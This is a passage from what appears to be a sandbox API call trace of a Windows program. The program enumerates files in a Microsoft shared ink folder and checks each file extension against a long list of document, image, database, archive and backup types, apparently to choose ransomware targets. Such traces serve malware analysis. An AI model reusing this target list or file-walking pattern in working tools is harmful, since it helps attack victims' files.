cAlternateFileName="")) returned 1 [0090.244] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0090.244] FindClose (in: hFindFile=0x4260350 | out: hFindFile=0x4260350) returned 1 [0090.244] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.244] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0090.244] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0090.245] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.245] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0090.245] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0090.245] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0090.245] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.245] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0090.245] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0090.245] lstrlenW (lpString="FlickLearningWizard.exe") returned 23 [0090.245] lstrlenW (lpString=".1cd") returned 4 [0090.246] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.246] lstrlenW (lpString=".3ds") returned 4 [0090.246] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1 [0090.246] lstrlenW (lpString=".3fr") returned 4 [0090.246] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1 [0090.246] lstrlenW (lpString=".3g2") returned 4 [0090.246] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1 [0090.246] lstrlenW (lpString=".3gp") returned 4 [0090.246] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1 [0090.246] lstrlenW (lpString=".7z") returned 3 [0090.246] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.246] lstrlenW (lpString=".accda") returned 6 [0090.246] lstrcmpiW (lpString1=".accda", lpString2="rd.exe") returned -1 [0090.246] lstrlenW (lpString=".accdb") returned 6 [0090.246] lstrcmpiW (lpString1=".accdb", lpString2="rd.exe") returned -1 [0090.246] lstrlenW (lpString=".accdc") returned 6 [0090.246] lstrcmpiW (lpString1=".accdc", lpString2="rd.exe") returned -1 [0090.246] lstrlenW (lpString=".accde") returned 6 [0090.246] lstrcmpiW (lpString1=".accde", lpString2="rd.exe") returned -1 [0090.246] lstrlenW (lpString=".accdt") returned 6 [0090.246] lstrcmpiW (lpString1=".accdt", lpString2="rd.exe") returned -1 [0090.246] lstrlenW (lpString=".accdw") returned 6 [0090.246] lstrcmpiW (lpString1=".accdw", lpString2="rd.exe") returned -1 [0090.246] lstrlenW (lpString=".adb") returned 4 [0090.246] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1 [0090.246] lstrlenW (lpString=".adp") returned 4 [0090.247] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ai") returned 3 [0090.247] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1 [0090.247] lstrlenW (lpString=".ai3") returned 4 [0090.247] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ai4") returned 4 [0090.247] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ai5") returned 4 [0090.247] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ai6") returned 4 [0090.247] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ai7") returned 4 [0090.247] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ai8") returned 4 [0090.247] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".anim") returned 5 [0090.247] lstrcmpiW (lpString1=".anim", lpString2="d.exe") returned -1 [0090.247] lstrlenW (lpString=".arw") returned 4 [0090.247] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".as") returned 3 [0090.247] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1 [0090.247] lstrlenW (lpString=".asa") returned 4 [0090.247] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".asc") returned 4 [0090.247] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1 [0090.247] lstrlenW (lpString=".ascx") returned 5 [0090.248] lstrcmpiW (lpString1=".ascx", lpString2="d.exe") returned -1 [0090.248] lstrlenW (lpString=".asm") returned 4 [0090.248] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".asmx") returned 5 [0090.248] lstrcmpiW (lpString1=".asmx", lpString2="d.exe") returned -1 [0090.248] lstrlenW (lpString=".asp") returned 4 [0090.248] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".aspx") returned 5 [0090.248] lstrcmpiW (lpString1=".aspx", lpString2="d.exe") returned -1 [0090.248] lstrlenW (lpString=".asr") returned 4 [0090.248] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".asx") returned 4 [0090.248] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".avi") returned 4 [0090.248] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".avs") returned 4 [0090.248] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".backup") returned 7 [0090.248] lstrcmpiW (lpString1=".backup", lpString2="ard.exe") returned -1 [0090.248] lstrlenW (lpString=".bak") returned 4 [0090.248] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".bay") returned 4 [0090.248] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1 [0090.248] lstrlenW (lpString=".bd") returned 3 [0090.248] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1 [0090.248] lstrlenW (lpString=".bin") returned 4 [0090.249] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".bmp") returned 4 [0090.249] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".bz2") returned 4 [0090.249] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".c") returned 2 [0090.249] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1 [0090.249] lstrlenW (lpString=".cdr") returned 4 [0090.249] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".cer") returned 4 [0090.249] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".cf") returned 3 [0090.249] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1 [0090.249] lstrlenW (lpString=".cfc") returned 4 [0090.249] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".cfm") returned 4 [0090.249] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".cfml") returned 5 [0090.249] lstrcmpiW (lpString1=".cfml", lpString2="d.exe") returned -1 [0090.249] lstrlenW (lpString=".cfu") returned 4 [0090.249] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".chm") returned 4 [0090.249] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".cin") returned 4 [0090.249] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1 [0090.249] lstrlenW (lpString=".class") returned 6 [0090.250] lstrcmpiW (lpString1=".class", lpString2="rd.exe") returned -1 [0090.250] lstrlenW (lpString=".clx") returned 4 [0090.250] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".config") returned 7 [0090.250] lstrcmpiW (lpString1=".config", lpString2="ard.exe") returned -1 [0090.250] lstrlenW (lpString=".cpp") returned 4 [0090.250] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".cr2") returned 4 [0090.250] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".crt") returned 4 [0090.250] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".crw") returned 4 [0090.250] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".cs") returned 3 [0090.250] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1 [0090.250] lstrlenW (lpString=".css") returned 4 [0090.250] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".csv") returned 4 [0090.250] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".cub") returned 4 [0090.250] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".dae") returned 4 [0090.250] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".dat") returned 4 [0090.250] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0090.250] lstrlenW (lpString=".db") returned 3 [0090.250] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1 [0090.251] lstrlenW (lpString=".dbf") returned 4 [0090.251] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dbx") returned 4 [0090.251] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dc3") returned 4 [0090.251] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dcm") returned 4 [0090.251] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dcr") returned 4 [0090.251] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".der") returned 4 [0090.251] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dib") returned 4 [0090.251] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dic") returned 4 [0090.251] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".dif") returned 4 [0090.251] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".divx") returned 5 [0090.251] lstrcmpiW (lpString1=".divx", lpString2="d.exe") returned -1 [0090.251] lstrlenW (lpString=".djvu") returned 5 [0090.251] lstrcmpiW (lpString1=".djvu", lpString2="d.exe") returned -1 [0090.251] lstrlenW (lpString=".dng") returned 4 [0090.251] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1 [0090.251] lstrlenW (lpString=".doc") returned 4 [0090.251] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".docm") returned 5 [0090.252] lstrcmpiW (lpString1=".docm", lpString2="d.exe") returned -1 [0090.252] lstrlenW (lpString=".docx") returned 5 [0090.252] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0090.252] lstrlenW (lpString=".dot") returned 4 [0090.252] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dotm") returned 5 [0090.252] lstrcmpiW (lpString1=".dotm", lpString2="d.exe") returned -1 [0090.252] lstrlenW (lpString=".dotx") returned 5 [0090.252] lstrcmpiW (lpString1=".dotx", lpString2="d.exe") returned -1 [0090.252] lstrlenW (lpString=".dpx") returned 4 [0090.252] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dqy") returned 4 [0090.252] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dsn") returned 4 [0090.252] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dt") returned 3 [0090.252] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1 [0090.252] lstrlenW (lpString=".dtd") returned 4 [0090.252] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dwg") returned 4 [0090.252] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dwt") returned 4 [0090.252] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1 [0090.252] lstrlenW (lpString=".dx") returned 3 [0090.252] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1 [0090.253] lstrlenW (lpString=".dxf") returned 4 [0090.253] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".edml") returned 5 [0090.253] lstrcmpiW (lpString1=".edml", lpString2="d.exe") returned -1 [0090.253] lstrlenW (lpString=".efd") returned 4 [0090.253] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".elf") returned 4 [0090.253] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".emf") returned 4 [0090.253] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".emz") returned 4 [0090.253] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".epf") returned 4 [0090.253] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".eps") returned 4 [0090.253] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".epsf") returned 5 [0090.253] lstrcmpiW (lpString1=".epsf", lpString2="d.exe") returned -1 [0090.253] lstrlenW (lpString=".epsp") returned 5 [0090.253] lstrcmpiW (lpString1=".epsp", lpString2="d.exe") returned -1 [0090.253] lstrlenW (lpString=".erf") returned 4 [0090.253] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1 [0090.253] lstrlenW (lpString=".exr") returned 4 [0090.253] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1 [0090.253] lstrlenW (lpString=".f4v") returned 4 [0090.253] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".fido") returned 5 [0090.254] lstrcmpiW (lpString1=".fido", lpString2="d.exe") returned -1 [0090.254] lstrlenW (lpString=".flm") returned 4 [0090.254] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".flv") returned 4 [0090.254] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".frm") returned 4 [0090.254] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".fxg") returned 4 [0090.254] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".geo") returned 4 [0090.254] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".gif") returned 4 [0090.254] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".grs") returned 4 [0090.254] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".gz") returned 3 [0090.254] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1 [0090.254] lstrlenW (lpString=".h") returned 2 [0090.254] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1 [0090.254] lstrlenW (lpString=".hdr") returned 4 [0090.254] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".hpp") returned 4 [0090.254] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1 [0090.254] lstrlenW (lpString=".hta") returned 4 [0090.254] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".htc") returned 4 [0090.255] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".htm") returned 4 [0090.255] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".html") returned 5 [0090.255] lstrcmpiW (lpString1=".html", lpString2="d.exe") returned -1 [0090.255] lstrlenW (lpString=".icb") returned 4 [0090.255] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".ics") returned 4 [0090.255] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".iff") returned 4 [0090.255] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".inc") returned 4 [0090.255] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".indd") returned 5 [0090.255] lstrcmpiW (lpString1=".indd", lpString2="d.exe") returned -1 [0090.255] lstrlenW (lpString=".ini") returned 4 [0090.255] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".iqy") returned 4 [0090.255] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".j2c") returned 4 [0090.255] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".j2k") returned 4 [0090.255] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1 [0090.255] lstrlenW (lpString=".java") returned 5 [0090.255] lstrcmpiW (lpString1=".java", lpString2="d.exe") returned -1 [0090.255] lstrlenW (lpString=".jp2") returned 4 [0090.256] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".jpc") returned 4 [0090.256] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".jpe") returned 4 [0090.256] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".jpeg") returned 5 [0090.256] lstrcmpiW (lpString1=".jpeg", lpString2="d.exe") returned -1 [0090.256] lstrlenW (lpString=".jpf") returned 4 [0090.256] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".jpg") returned 4 [0090.256] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".jpx") returned 4 [0090.256] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".js") returned 3 [0090.256] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1 [0090.256] lstrlenW (lpString=".jsf") returned 4 [0090.256] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1 [0090.256] lstrlenW (lpString=".json") returned 5 [0090.694] lstrcmpiW (lpString1=".json", lpString2="d.exe") returned -1 [0090.694] lstrlenW (lpString=".jsp") returned 4 [0090.694] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1 [0090.694] lstrlenW (lpString=".kdc") returned 4 [0090.694] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1 [0090.694] lstrlenW (lpString=".kmz") returned 4 [0090.694] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1 [0090.694] lstrlenW (lpString=".kwm") returned 4 [0090.694] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1 [0090.694] lstrlenW (lpString=".lasso") returned 6 [0090.694] lstrcmpiW (lpString1=".lasso", lpString2="rd.exe") returned -1 [0090.694] lstrlenW (lpString=".lbi") returned 4 [0090.695] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".lgf") returned 4 [0090.695] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".lgp") returned 4 [0090.695] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".log") returned 4 [0090.695] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".m1v") returned 4 [0090.695] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".m4a") returned 4 [0090.695] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".m4v") returned 4 [0090.695] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".max") returned 4 [0090.695] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".md") returned 3 [0090.695] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1 [0090.695] lstrlenW (lpString=".mda") returned 4 [0090.695] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".mdb") returned 4 [0090.695] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".mde") returned 4 [0090.695] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".mdf") returned 4 [0090.695] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1 [0090.695] lstrlenW (lpString=".mdw") returned 4 [0090.696] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mef") returned 4 [0090.696] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mft") returned 4 [0090.696] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mfw") returned 4 [0090.696] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mht") returned 4 [0090.696] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mhtml") returned 6 [0090.696] lstrcmpiW (lpString1=".mhtml", lpString2="rd.exe") returned -1 [0090.696] lstrlenW (lpString=".mka") returned 4 [0090.696] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mkidx") returned 6 [0090.696] lstrcmpiW (lpString1=".mkidx", lpString2="rd.exe") returned -1 [0090.696] lstrlenW (lpString=".mkv") returned 4 [0090.696] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mos") returned 4 [0090.696] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mov") returned 4 [0090.696] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mp3") returned 4 [0090.696] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mp4") returned 4 [0090.696] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1 [0090.696] lstrlenW (lpString=".mpeg") returned 5 [0090.697] lstrcmpiW (lpString1=".mpeg", lpString2="d.exe") returned -1 [0090.697] lstrlenW (lpString=".mpg") returned 4 [0090.697] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".mpv") returned 4 [0090.697] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".mrw") returned 4 [0090.697] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".msg") returned 4 [0090.697] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".mxl") returned 4 [0090.697] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".myd") returned 4 [0090.697] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".myi") returned 4 [0090.697] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".nef") returned 4 [0090.697] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".nrw") returned 4 [0090.697] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".obj") returned 4 [0090.697] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".odb") returned 4 [0090.697] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".odc") returned 4 [0090.697] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1 [0090.697] lstrlenW (lpString=".odm") returned 4 [0090.697] lstrcmpiW 